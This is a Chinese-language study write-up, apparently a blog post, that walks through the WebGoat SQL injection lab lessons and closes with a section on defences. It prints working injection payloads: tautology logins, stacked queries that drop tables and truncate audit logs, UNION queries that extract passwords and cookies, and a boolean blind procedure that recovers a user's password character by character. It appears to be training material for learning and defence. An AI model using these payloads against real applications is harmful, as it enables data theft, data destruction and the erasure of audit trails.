SQL注入

SQL注入

总述

sql语言基础

SQL语言主要分为四部分:DML,DDL,DCL,TCL

  • DML (Manipulation)用 于对数据库中的数据进行操作,主要包括插入(INSERT)、更新(UPDATE)、删除(DELETE)和查询(SELECT)数据。
INSERT INTO students (id, name, age) VALUES (1, 'Alice', 20);
UPDATE students SET age = 21 WHERE id = 1;
DELETE FROM students WHERE id = 1;
SELECT name, age FROM students;
  • DDL(Definition)用于定义和修改数据库的结构,主要包括创建(CREATE)、修改(ALTER)和删除(DROP)数据库对象(如表、索引、视图等)。
CREATE TABLE students (
    id INT PRIMARY KEY,
    name VARCHAR(50),
    age INT
);

ALTER TABLE students ADD COLUMN gender CHAR(1);

DROP TABLE students;
DROP INDEX idx_name ON students;
  • DCL( Control)用于控制数据库的访问权限,主要包括授权(GRANT)和撤销授权(REVOKE)。
GRANT SELECT, INSERT ON students TO user1;
grant all on grant_rights to  unauthorized_user

REVOKE INSERT ON students FROM user1;
  • **TCL**用于管理数据库事务,主要包括开始事务(START TRANSACTION)、提交事务(COMMIT)、回滚事务(ROLLBACK)和设置事务隔离级别(SET SESSION TRANSACTION )。
START TRANSACTION;
COMMIT;
ROLLBACK;
SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;

sql中的特殊符号

  1. 常见注释符
  • 行内注释:/**/
  • 行外注释--#
  • 常见用法
SELECT * FROM users WHERE name = 'admin' -- (被注释掉的语句)
  1. 常见查询符
  • ;->堆叠注入
SELECT * FROM users; DROP TABLE users;
  1. 常见连接符
  • ',",||
SELECT * FROM users WHERE name = '+char(27) OR 1=1
--  char(27)是ASCII码中的单引号(')的等价表示

sql注入流程

  1. 找到sql注入点
'             --触发错误
' AND 1=1     --正常返回
' AND 1=2     --无返回
' OR '1'='1   --返回所有数据
  1. 获取数据库信息

1749272450493-0609d20a-4dff-4414-b28a-06b316db8837.png

常用爆破

1' or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA='' and TABLE_NAME=' ' LIMIT 0,1),1,1)='a';-- 爆列
  1. 构造获取数据

1' ; select * from user_system_data --   堆叠
1' or substring(password,1,1)='t';-- 获取列名爆破密码

SQL Injection (intro)

什么是sql

employees表单

1748865907977-46fa4863-07fa-4b52-a123-d295e2d3053b.png

1748864121144-3ebc6263-4b02-4ed1-a193-50fb76b7efea.png

写一个简单的查询语句就行了

Select department from employees where first_name='Bob'

然后看一下源码

1748864159786-496d06e3-fab2-47f1-9255-df265d535d56.png

  • dataSource.getConnection 从数据源获取一个数据库连接
  • connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY):创建一个Statement对象,用于执行SQL语句。TYPE_SCROLL_INSENSITIVE表示结果集可以滚动,CONCUR_READ_ONLY表示结果集是只读的。
  • statement.executeQuery(query):执行传入的SQL查询语句,返回一个ResultSet对象,包含查询结果。
  • results.first():将结果集的游标移动到第一行,如果结果为空,抛出SQLExcepion错误
  • 之后就是查询结果与Marketing比对,如果正确返回正确信息(包括查询语句和查询结果)

3.DML

1748866135450-65c5c65c-52ec-4ad0-9db9-454a323b01ce.png

简单的更新表单语句

update employees set department ='Sales' where first_name='Tobi';

源码:

1748866592743-f10661df-fc8d-42ae-a593-fa3a2778cb41.png

就是执行完用户的sql语句之后再把对应信息查出来进行比对

4.DDL

1748867426044-dccdb0fc-3918-4a8f-8097-d20055aa3c17.png

alter语句

alter table employees add column phone varchar(20);

源码通过查询phone判断是否为空检验

5.DCL

1748868138411-677ac69e-e262-48cc-bac2-4207a470412d.png

grant select,delete,insert on grant_rights to  unauthorized_user

审计源码,这里主要分了三个部分

 @PostConstruct
public void createUser() {
    // HSQLDB does not support CREATE USER with IF NOT EXISTS so we need to do it in code (using
    // DROP first will throw error if user does not exists)
    try (Connection connection = dataSource.getConnection()) {
      try (var statement =
          connection.prepareStatement("CREATE USER unauthorized_user PASSWORD test")) {
        statement.execute();
      }
    } catch (Exception e) {
      // user already exists continue
    }
  }
//创建了一个新的数据库用户,将用户名设置为unauthorized_user ,密码设置为test
protected AttackResult injectableQuery(String query) {
    try (Connection connection = dataSource.getConnection()) {
      try (Statement statement =
          connection.createStatement(
              ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {
        statement.executeQuery(query);
        if (checkSolution(connection)) {
          return success(this).build();
        }
        return failed(this).output("Your query was: " + query).build();
      }
    } catch (Exception e) {
      return failed(this)
          .output(
              this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + query)
          .build();
    }
  }

  private boolean checkSolution(Connection connection) {
    try {
      var stmt =
          connection.prepareStatement(
              "SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE ="
                  + " ?");//用于执行参数化的SQL查询。这有助于防止SQL注入攻击。
      stmt.setString(1, "GRANT_RIGHTS");
      stmt.setString(2, "UNAUTHORIZED_USER");
      var resultSet = stmt.executeQuery();
      return resultSet.next();
    } catch (SQLException throwables) {
      return false;
    }
  }

//
@PostMapping("/SqlInjection/attack5")
  @ResponseBody
  public AttackResult completed(String query) {
    createUser();
    return injectableQuery(query);
  }

大致就是新建了一个用户,执行完用户的sql语句之后,通过查询GRANT_RIGHTS这个表中该用户是否存在的方式进行校验用户是否并赋权。

这里需要注意的是 使用 Connection.prepareStatement 方法可以创建一个 PreparedStatement 对象 。而PreparedStatement 是预编译的SQL语句,可以防止SQL注入攻击。

6.What is SQL injection?

一些sql构造实例

Smith' OR '1' = '1

Smith' OR 1 = 1; -- 判断值永远为True,返回所有数据

Smith'; DROP TABLE users; TRUNCATE audit_log; -- 删除用户表,并且删除审计日志表

7.sql注入的结果

1749106395386-7ab86d15-f1ed-4ef4-b1d5-64368d86d56e.png

8.sql注入的严重性

1749106517072-45ff50c5-0754-4348-96ca-b606a6feb955.png

9. sql注入

1749106660714-e005dfdc-b1be-4ee5-8b51-ef136e85fa25.png

原理就是构造了一个永远为True的查询

SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or TRUE

看一下源码

1749107471256-3b3204a1-cbba-4dfb-a78d-793d8caa95d0.png

前端传入三个参数分别为accoun,operator,injection

1749107548489-377f341f-1ba9-4f20-8e58-79250617a756.png

将这三个参数进行拼接查询之后,以结果集的个数判断是否成功

1749107965445-6f460d08-dc5b-4b59-b8a6-f3f7ccb1dba1.png

10.数字型注入

数字型注入的基本步骤

  1. 加单引号,**id=3’ **** : **抛出异常程序无法正常从数据库中查询出数据
  2. 加 and 1=1, id=3 and 1=1 ****: 语句执行正常,页面无差异
  3. 加and 1=2,**id=3 and 1=2 ****:**语句可以正常执行,但是无法查询出结果

提示里说了只有一个文本框可以执行sql注入,在两个里面选一个输入1 or 1=1**,**成功执行

1749108890735-70a3ce52-f105-4151-819a-fc8c64e24ab3.png

看源码

1749109296261-87480bc6-e90b-4a92-a8fe-1116e44d8d3b.png

注意到这里对login_count这一参数进行了预编译,将它转换成整型,如果转换失败,则返回一个错误对象(所以这里也不能加空格)

简而言之,预编译就是读入了字面意思,不进行二次编译

11.字符型注入

  • 字符型注入一般需要单引号闭合。同数字型注入类似,不过数字型注入不需要单引号
"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"

1’ or ‘1’=’1

1749110286009-caa22ac2-6c50-4742-b73e-ec79af69c214.png

那么有个问题,怎么判断应该用单引号还是双引号

看到‘" + name + "’**,里面的****是java语法,外面包裹的****显示使用单引号作为SQL字符串分隔符 **

当然也可以通过报错和布尔测试进行判断

12.堆叠注入

1749112018666-4356c828-a3b9-40a6-b914-e531e73a5e40.png

把Authentication TAN: 写成

3SL99A';update employees set salary =999999 where auth_tan='3SL99A';-- -

这里要注意引号的闭合,查询字符串加引号,以及注释语句**– -**

源码

1749112726096-ed2ad690-8582-4edf-aba9-79ed827e2a85.png

connection.setAutoCommit(false): 手动提交事务。 在这种模式下,你可以执行多个SQL语句,然后通过调用connection.commit()来提交事务,或者在发生错误时调用connection.rollback()**来回滚事务。 **


通过比较(此人工资和所有人最大工资)和(其他人工资不变)来判断

13.数据的可用性(删日志)

1749113365536-4d0069a0-3aa9-4ea6-8e87-65c9af014e17.png


1';drop table access_log; -- -

源码

String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'";

注意到这里用了LIKE操作符进行模式匹配

  • %是通配符,表示任意数量的任意字符
  • '_'表示单个任意字符

所以这里查询的是所有含有action的记录

SQL Injection (advanced)

总述:

  • 联合注入
  • 盲注

联合注入

前提条件:

  • select的列数要和数据库的**列数相等**
1' union select 1,2,3,4 # 数据库有四列
  • 查询的数据要与原数据库列的**数据类型匹配**

常见技巧

判断数据库列数

  • ORDER BY 命令
' ORDER BY 3 --  假设是字符注入,根据报错判断是几列
  • UNION SELECT NULL
' UNION SELECT NULL,NULL,NULL -- 
UNION SELECT NULL FROM DUAL -- 在Oracle数据库中

题目:

1749121602230-79a2fcae-3fd5-4e1f-907a-5848d42f492a.png

这里提示可以用两个方法 一个是联合注入,一个是堆叠注入

  1. 堆叠
1' ; select * from user_system_data --
  1. UNION

先用万能密码输出全部数据

1' or 1=1 -- 

1749122704878-b396d6d6-99ca-4f73-9ac2-7c798991b539.png

USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,

1' or 1=1 union select 1,'1','1','1','1',password,7 from user_system_data --
1' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --

*accountName.matches("(?i)(^[^-/;)])(\s)UNION(.*$)");**

**正则表达式: 检测字符串中是否包含 UNION 关键字(不区分大小写) **

盲注

什么是盲注

  • 无回显-不会返回数据库中的详细信息
  • 侧面回显-会给出true或false的信息或者延时信息

判断方法

  • 布尔盲注
  1. 判断注入点
1' and '1'='1 // 页面返回有数据
1' and '1'='2 // 页面返回无数据
可能存在sql注入
  1. 判断当前页面字段数
1' and '1'='1' order by 2 – // 页面返回有数据
1' and '1'='2' order by 3 – // 页面返回无数据
判断出当前页面字段数为 2
  • 时间盲注
  1. 判断注入点的 SQL 语句
1' and '1'='1';--  // 页面返回有数据
1' and '1'='2';--  //  页面返回有数据
页面的返回没有变化,可能是盲注;
  1. 判断是何种盲注
Select name from table where id = 1 and if(布尔表达式,sleep(5),(1));
// 条件为真时延时 5s
可以通过简单的id = 1' and sleep(2)判断是否存在时间盲注

题目

1749281603512-466b9b5b-c318-4b34-bca2-bb4f40dfdbb8.png

这里让我们找到tom的密码

先总结一下总的流程:

  1. 找到sql注入点(通过 1' or '1'='1 判断)

若显示已有此用户则说明此语句正常执行,因为没有(1’ or ‘1’='1)用户,说明此处有sql注入点

  1. 爆破出列名

通过库、表、列逐级爆破的方法

其中

1749272450493-0609d20a-4dff-4414-b28a-06b316db8837.png

如爆列:1’ or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA=‘CONTAINER’ and TABLE_NAME='ASSIGNMENT ’ LIMIT 0,1),1,1)=‘a’;–

其中**LIMIT 0,1 表示第一个列,SUBSTRING(,1,1)表示取出字符串中的第一个字符****,通过逐个字符爆破的方式得到正确的数据库列名。

  1. 最后爆出密码

tom' or substring(password,1,1)='t'; --:逐个字符爆破

详细过程:

1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='a';-- 爆库
1' or SUBSTRING((SELECT TABLE_NAME FROM information_schema.tables where TABLE_SCHEMA='CONTAINER' LIMIT 0,1),1,1)='a';-- 爆表
1' or SUBSTRING((SELECT COLUMN_NAME FROM information_schema.columns where TABLE_SCHEMA='CONTAINER' and TABLE_NAME='ASSIGNMENT ' LIMIT 0,1),1,1)='a';-- 爆列
CONTAINER
ASSIGNMENT 
ID

爆破确定数据库名

1749275144191-f5cc549b-2331-4940-bb18-302fde933111.png

返回结果,根据长度确定数据库正确名

1749275225607-2213c004-4fac-452e-a56f-4041ee96c326.png

这里可以得出数据库第一个字母是**C**

稍微对比一下两个返回的包

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Sat, 07 Jun 2025 05:40:38 GMT

{
  "lessonCompleted" : true,
  "feedback" : "User 1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='d';-- created, please proceed to the login page.",
  "output" : null,
  "assignment" : "SqlInjectionChallenge",
  "attemptWasMade" : true
}


HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Sat, 07 Jun 2025 05:40:38 GMT

{
  "lessonCompleted" : false,
  "feedback" : "User 1' or SUBSTRING((SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1),1,1)='C';-- already exists please try to register with a different username.",
  "output" : null,
  "assignment" : "SqlInjectionChallenge",
  "attemptWasMade" : true
}

可以看到就是一个成功创建,一个显示用户名已存在,就是数据库名校验正确与否的区别

  • 若数据库名正确则显示用户名已存在
  • 若不正确则显示注册成功

然后为什么我们这样子得到的列名是id呢,原来是因为LIMIT 的偏移量问题,

limit 0,1 改成** limit 1,1**就可以得到第二个列名了

最后发现有三列,第三列的名字就是password

tom' or password='123 //可以判断列名是否为password

最后

1' or substring(password,1,1)='t';-- 爆破密码

thisisasecretfortomonly

sql注入的基本防御手段

代码层:

方法 说明
静态查询 session.getAttribute("UserID")
由session.getAttribute读取数据,而不是用户自己输入
预编译(Prepared Statements) 使用参数化查询PreparedStatement statement = connection.prepareStatement(query); query里是带**?**的sql语句
输入过滤 过滤危险字符(如'"--),但需注意绕过(如CHR(97)替代'a'
最小权限原则 数据库用户仅授予必要权限(禁止FILEEXECUTE等)
输出编码 对回显数据做HTML实体编码 (如PHP的htmlspecialchars()

运维层

  • WAF(Web应用防火墙):拦截恶意SQL语句(但可能被绕过)
  • 数据库日志监控:检测异常SQL查询
  • 定期漏洞扫描:使用工具(如SQLmap、Burp Suite)测试应用

更新: 2025-06-09 18:17:33
原文: https://www.yuque.com/cindahy/aqfzwf/hlyum7ztv0ehsbgr

LICENSED UNDER CC BY-NC-SA 4.0
评论